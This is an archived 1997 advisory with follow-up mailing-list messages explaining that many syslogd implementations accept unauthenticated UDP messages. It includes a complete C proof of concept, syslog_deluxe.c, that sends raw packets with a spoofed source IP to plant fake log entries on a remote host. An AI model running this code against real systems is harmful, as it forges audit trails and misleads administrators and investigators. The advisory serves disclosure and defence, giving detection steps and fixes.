home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / syslog_deluxe.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  11.7 KB  |  301 lines

  1.  
  2. I think no one would argue that syslog is every Unix sysadmin's close
  3. friend.  Very often, syslog is a major (sometimes the only) way of gathering
  4. various information, including security-related, about a particular system
  5. or network.  Some people trust syslog and make important decisions based on
  6. what they see there.  I've even heard about one lawsuit which involved
  7. system logs (I'm not sure the system was running Unix, though) as an
  8. evidence.  Fortunately, defendant, sysadmin of the system in question, was
  9. able to show that syslog entry means nothing.  Well, he was absolutely
  10. right.  It's trivial to fake any kind of syslog entry using syslog(3)
  11. locally, and this fact is widely known and accepted.  What is less known,
  12. however, is that many syslogd implementations have remote reception turned
  13. on by default.
  14.  
  15. Remote reception is a very simple thing.  If syslogd finds an entry in
  16. config file which has @hostname at action field, it send a message to that
  17. host.  The idea is OK, but implementation is not.  First, there's no way to
  18. control access to your syslogd, anybody on the net can send you syslog
  19. message, and you can't tell your syslogd to refuse them (well, you can't do
  20. this _easily_, hacking the source is an option, where possible).  Second,
  21. the messages are send by the virtue of the wonderful Unreliable Data
  22. Protocol.  This basically nullifies the lack of access control.  UDP is so
  23. easy to spoof that there's no point in restricting the access to the certain
  24. clients.  There's no protocol for communications between two syslogds.  One
  25. sends out a datagram, the second one receives it, if it makes it through,
  26. and that's it.  No acknowledgments of any kind, it's a one way talk.  If the
  27. incoming message has it's source IP set to that of the target system, it'll
  28. be output in the syslog file just like any local entry, and there's no way
  29. to distinguish between them.
  30.  
  31. The attached program, syslog_deluxe.c, illustrates this point by sending out
  32. a syslog message with both source and remote IPs supplied by the user.  It
  33. was tested to work with syslogds on AIX 4.2, Irix 6.2 and Linux, syslogd
  34. 1.3-3 (the one that comes with RedHat-4.2).  I'm pretty sure it'll work with
  35. any other syslogd, as long as remote reception is on.
  36.  
  37. So once remote reception is turned on, you can't trust any syslog entry
  38. anymore, that is, if you use stock syslogd.  Besides, you open your box to a
  39. nasty DoS, it wouldn't be too hard to fill up the partition that holds
  40. syslog files, UDP datagrams can be pretty big.  I also strongly suspect that
  41. there may be some overflow conditions and such in certain implementations,
  42. and having your syslogd listening to Internet is not a very healthy thing to
  43. do in such a case.  So the fix for all that would be turning off remote
  44. reception.  Unfortunately, it can't always be done.  Linux syslogd 1.3 has
  45. this option, and remote reception if off by default.  AIX and Irix users are
  46. not so fortunate.  It's on and can't be turned off in any obvious way, other
  47. than killing syslogd.
  48.  
  49. You can check your system by running netstat -a | grep udp.  If you see
  50. (among many other lines) something like
  51.  
  52. udp        0      0  0.0.0.0.syslog         0.0.0.0.*
  53.  
  54. or
  55.  
  56. udp        0      0  0.0.0.0.514            0.0.0.0.*
  57.  
  58. or
  59.  
  60. udp        0      0  *.syslog               *.*
  61.  
  62. your syslogd is listening, time to do something.  If not, you're in luck.
  63.  
  64. 99% or more systems on the net don't need remote reception.  Those need to
  65. investigate configuration options of the installed syslogd, and possibly
  66. switch to a more advanced version, such as aforementioned syslogd 1.3.  Of
  67. course, it may not be as easy as it sounds.  Apart from possible problems
  68. with compilation, vendors sometime use "enhanced" syslogd, such as the one
  69. on Irix.  It adds an extra field in front of hostname which has facility and
  70. priority.  It's nice, but it also means that some other Irix programs, such
  71. as Syslog Viewer, may have problems reading file in standard format.
  72.  
  73. Sometimes remote reception is desired, though, and it's a tough case.  Due
  74. to the nature of the network protocol, you pretty much have to hope that no
  75. one sends you a spoofed entry.  You can't really make a distinction between
  76. a spoofed one and a real one.  The only true way to fix it is to redesign
  77. the protocol.  Aside from security considerations, reliability could use
  78. some improvement, too since right now there's only as much of it as comes
  79. with UDP, i.e. none.  I don't think an idea of losing important syslog
  80. messages due to network congestion is appealing to anybody.  Also, in any
  81. event syslogd should make clear distinction between the local and remote
  82. messages, and mark them as such.
  83.  
  84. I personally find it very sad that one of the programs that should help to
  85. keep security tight is so grossly insecure itself.  It's really a shame.
  86.  
  87. cheers,
  88.  
  89. yuri
  90.  
  91. /* syslog_deluxe.c
  92.  
  93. This program sends a spoofed syslog message.  Your have to be root to run it.
  94. Source and target IP addresses, message text, facility and priority are
  95. supplied by the user.
  96.  
  97. It exploits the fact that many syslogd implementations listen to port 514/udp
  98. and accept whatever datagrams arrive, thus making it very easy to spoof syslog
  99. entries.  Some versions of syslogd allow to turn off this feature, some don't.
  100.  
  101. The code compiles and works under Linux.  Any Unix that has
  102. SOCK_RAW/IPPROTO_RAW should be no problem (you may need to use BSD-style
  103. struct ip though).  It may use few improvements, like checking for possible
  104. ICMP Port Unreachable errors in case the remote machine doesn't run syslogd
  105. with remote reception turned on.
  106.  
  107. The idea behind this program is a proof of a concept, nothing more.  It
  108. comes as is, no warranty.  However, you're allowed to use it under one
  109. condition: you must use your brain simultaneously.  If this condition is
  110. not met, you shall forget about this program and go RTFM immediately.
  111.  
  112. yuri volobuev'97
  113. volobuev@t1.chem.umn.edu
  114.  
  115. */
  116.  
  117. #include <stdio.h>
  118. #include <stdlib.h>
  119. #include <string.h>
  120. #include <errno.h>
  121. #include <unistd.h>
  122. #include <netdb.h>
  123. #include <syslog.h>
  124. #include <sys/socket.h>
  125. #include <arpa/inet.h>
  126. #include <netinet/in.h>
  127. #include <netinet/udp.h>
  128. #include <netinet/ip.h>
  129.  
  130. #define IPVERSION       4
  131.  
  132. /* This is the stuff that actually gets sent.  Feel free to change it */
  133. #define MESSAGE_FAC LOG_DAEMON
  134. #define MESSAGE_PRI LOG_INFO
  135. char message[] = {"telnetd[4489]: connection from devil@hell.org.universe\n"};
  136.  
  137. struct raw_pkt_hdr {
  138.         struct iphdr ip; /* This is Linux-style iphdr.
  139.                             Use BSD-style struct ip if you want */
  140.         struct udphdr udp;
  141. };
  142.  
  143. struct raw_pkt_hdr* pkt;
  144.  
  145. void die(char *);
  146. unsigned long int get_ip_addr(char*);
  147. unsigned short checksum(unsigned short*,char);
  148.  
  149. int main(int argc,char** argv){
  150.  
  151. struct sockaddr_in sa;
  152. int sock,packet_len;
  153. char usage[] = {"\
  154.   syslog_deluxe, yuri volobuev'97\n\
  155.   make syslog look the way you want, here there and everywhere\n\
  156. \t usage: syslog_deluxe src_hostname dst_hostname\n"};
  157.  
  158. char on = 1;
  159.  
  160. if(argc != 3)die(usage);
  161.  
  162. if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
  163.         perror("socket");
  164.         exit(1);
  165.         }
  166.  
  167. sa.sin_addr.s_addr = get_ip_addr(argv[2]);
  168. sa.sin_family = AF_INET;
  169.  
  170. packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
  171. pkt = calloc((size_t)1,(size_t)packet_len);
  172.  
  173. pkt->ip.version = IPVERSION;
  174. pkt->ip.ihl = sizeof(struct iphdr) >> 2;
  175. pkt->ip.tos = 0;
  176. pkt->ip.tot_len = htons(packet_len);
  177. pkt->ip.id = htons(getpid() & 0xFFFF);
  178. pkt->ip.frag_off = 0;
  179. pkt->ip.ttl = 0x40;
  180. pkt->ip.protocol = IPPROTO_UDP;
  181. pkt->ip.check = 0;
  182. pkt->ip.saddr = get_ip_addr(argv[1]);
  183. pkt->ip.daddr = sa.sin_addr.s_addr;
  184. pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
  185.  
  186. pkt->udp.source = htons(514);
  187. pkt->udp.dest = htons(514);
  188. pkt->udp.len = htons(packet_len - sizeof(struct iphdr));
  189. pkt->udp.check = 0;  /* If you feel like screwing around with pseudo-headers
  190.                         and stuff, you may of course calculate UDP checksum
  191.                         as well.  I chose to leave it zero, it's usually OK */
  192.  
  193. sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s",
  194.         (int)(MESSAGE_FAC | MESSAGE_PRI),message);
  195.  
  196. if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
  197.         perror("setsockopt: IP_HDRINCL");
  198.         exit(1);
  199.         }
  200.  
  201. if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
  202.         perror("sendto");
  203.         exit(1);
  204.         }
  205. exit(0);
  206. }
  207.  
  208. void die(char* str){
  209. fprintf(stderr,"%s\n",str);
  210. exit(1);
  211. }
  212.  
  213. unsigned long int get_ip_addr(char* str){
  214.  
  215. struct hostent *hostp;
  216. unsigned long int addr;
  217.  
  218. if( (addr = inet_addr(str)) == -1){
  219.         if( (hostp = gethostbyname(str)))
  220.                 return *(unsigned long int*)(hostp->h_addr);
  221.         else {
  222.                 fprintf(stderr,"unknown host %s\n",str);
  223.                 exit(1);
  224.                 }
  225.         }
  226. return addr;
  227. }
  228.  
  229. unsigned short checksum(unsigned short* addr,char len){
  230. /* This is a simplified version that expects even number of bytes */
  231. register long sum = 0;
  232.  
  233. while(len > 1){
  234.         sum += *addr++;
  235.         len -= 2;
  236.         }
  237. while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
  238.  
  239. return ~sum;
  240. }
  241.  
  242.  
  243. ------------------------------------------------------------------------
  244.  
  245.  
  246. I'd like to make a correction to my previous message about the syslogd
  247. features.
  248.  
  249. First of all, like I said before, syslogd 1.3, on Linux in particular and
  250. everywhere else it may be running, does NOT default to remote reception,
  251. you must start it with -r option for that.  It's not really a correction,
  252. but many people missed that part.
  253.  
  254. I wasn't exactly right about using netstat to determine if remote reception
  255. is on.  I looked at the sources of syslogd 1.3 more carefully.  In fact,
  256. even though it defaults to no remote reception, it creates an AF_INET socket
  257. and binds to it unconditionally (well, if SYSLOG_INET was defined during the
  258. compilation, and it was defined in RedHat 4.2 build).  It doesn't pay
  259. attention to it from that point on, though, if remote reception is off, but
  260. socket is there and it does appear in netstat output.  I don't know why it's
  261. done this way, I guess you may consider it as a feature.  No harm, just
  262. could be misleading.
  263.  
  264. Of course, if you don't see syslog in netstat output, at least you can be
  265. sure it doesn't listen on the standard (514/udp) port.
  266.  
  267. So I guess one more or less simple way to find out if your syslogd is
  268. susceptible to remote attacks, other than examining the source where
  269. available, is to use syslog_deluxe against it and see what happens.  Of
  270. course, there's no guarantee: if it works, you're obviously vulnerable, but
  271. opposite may or may not be true.  Ask your vendor :)
  272.  
  273.  
  274. ----------------------------------------------------------------------------
  275.  
  276.  
  277. > I wasn't exactly right about using netstat to determine if remote reception
  278. > is on.  I looked at the sources of syslogd 1.3 more carefully.  In fact,
  279. > even though it defaults to no remote reception, it creates an AF_INET socket
  280. > and binds to it unconditionally (well, if SYSLOG_INET was defined during the
  281. > compilation, and it was defined in RedHat 4.2 build).  It doesn't pay
  282. > attention to it from that point on, though, if remote reception is off, but
  283. > socket is there and it does appear in netstat output.  I don't know why it's
  284. > done this way, I guess you may consider it as a feature.  No harm, just
  285. > could be misleading.
  286.  
  287. It is done that way because @loghost transfers use that same socket for
  288. communication with remote syslogd's.
  289.  
  290. You can't simply not create it. If the config file contains any packet
  291. redirections, you are going to need the socket.  Hence in 'secure
  292. mode' syslogd simply ignores all input packets.
  293.  
  294. Here's the relevant entry from the OpenBSD syslogd man page:
  295.  
  296.      -u      Select the historical ``insecure'' mode, in which syslogd will
  297.              accept input from the UDP port.  Some software wants this, but
  298.              you can be subjected to a variety of attacks over the network,
  299.              including attackers remotely filling logs.
  300.  
  301.